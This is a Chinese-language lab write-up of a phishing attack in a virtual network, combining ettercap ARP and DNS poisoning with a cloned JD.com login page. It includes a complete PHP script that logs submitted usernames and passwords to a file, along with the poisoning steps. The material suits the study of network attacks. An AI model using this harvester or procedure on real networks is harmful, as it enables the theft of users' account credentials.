DNS欺骗、ARP攻击及钓鱼

DNS欺骗、ARP攻击及钓鱼

实验目的

使用 kali 虚拟机模拟攻击者,采用 DNS 欺骗、 ARP 攻击的方式来对 XP 系统的用户进行攻击,从而获取该用户访问京东的账户和密码,即钓鱼攻击。

平台环境

kali2.0 平台;

安装 XP 系统的虚拟机;

搭建了 DNS 和 IIS 服务的 windows server 2003 虚拟机;

全网互通,即一个局域网下;

构造好的钓鱼网站;

实验步骤

制作钓鱼页面(以京东页面为例)

在浏览器中打开京东的网站,在空白处鼠标右键,然后选择“另存页面为”
然后, 在弹出的窗口中, 选好保存的位置, 对文件名重命名(尽量简写, 扩展名为 html),
保存类型为(网页, 全部) , 然后点击保存,
对保存的页面进行修改, 用代码编辑器打开 jd.html, 然后加入 form 表单,提交方式为 POST, 用 input 控件记录用户名和密码, 保存并退出,把jd.html改为index.html。
制作重定向页面error.php 来记录获取到的用户名和密码, 并写入到1.txt 文件。
以上需要的资料, 本实验已经整理好。

error.php:

<?php
$ref = $_SERVER['HTTP_REFERER']; //获取前一页面的 URL 地址
$today = date("F j, Y, g:i a");
if (isset($_POST['name']) && !empty($_POST['name'])) {
$nam = stripslashes($_POST['name']);
$pas = stripslashes($_POST['pass']);
$nam = htmlspecialchars($nam, ENT_QUOTES);   // 转换双引号和单引号
$pas = htmlspecialchars($pas, ENT_QUOTES);   
$content = $today . " -- " . $ref . " 用户名 " . $nam . " 密码 " . $pas;
$filed = @fopen("1.txt", "a+");
@fwrite($filed, "$content\n");
@fclose($filed);
}
?>
<html>
<head>
	<script type="text/javascript">
		function goBack()
		{
			window.history.back()  //后退+刷新
		}
	</script>
</head>
<body onload="goBack()">   <!-- 加载之后立即执行一段 JavaScript -->
</body>
</html>

网络互通

PC IP MAC
win xp(受害者) 10.1.1.1 76
kali(攻击者) 10.1.1.2 95
win 2003(服务器) 10.1.1.3 39

搭建服务器

在win2003上搭建一个IIS的web服务器,提供”真的”京东页面

在win2003上搭建一个DNS服务器,提供域名解析服务

dy1

然后检验一下是否搭建成功,在xp中访问www.jd.com

dy2

若没成功,检查一下xp的DNS服务器是否填的是10.1.1.3

搭建攻击环境

然后再kali上搭建一个”假的”京东页面,记得要给apache权限

chmod 777 *

尝试用xp提交表单

dy3

访问的是10.1.1.2,就是攻击机的假的京东网站,然后我们随便输入一个密码(我自己都不知道输的啥)

dy4

提交之后在kail的1.txt文本里面就有了表单记录,说明搭建成功

开始攻击

配置ettercap

修改 DNS 欺骗配置文件, 使用 vim 编辑器, 命令

vim /etc/ettercap/etter.dns

dy5

启动ettercap

嗅探主机:

dy6

arp投毒

dy7

此时查看winxp和win2003的arp记录,都是kali的MAC,说明ARP欺骗成功

DNS投毒

dy8

验证

在xp上验证一下

先清理一下dns缓存

ipconfig /flushdns

查看dns解析

nslookup www.jd.com

dy9

发现www.jd.com指向的是kali的ip地址,说明DNS欺骗成功

再使用浏览器访问www.jd.com

dy10

提交表单,在kali里查看

dy11

成功拿到账号密码。

实验完成。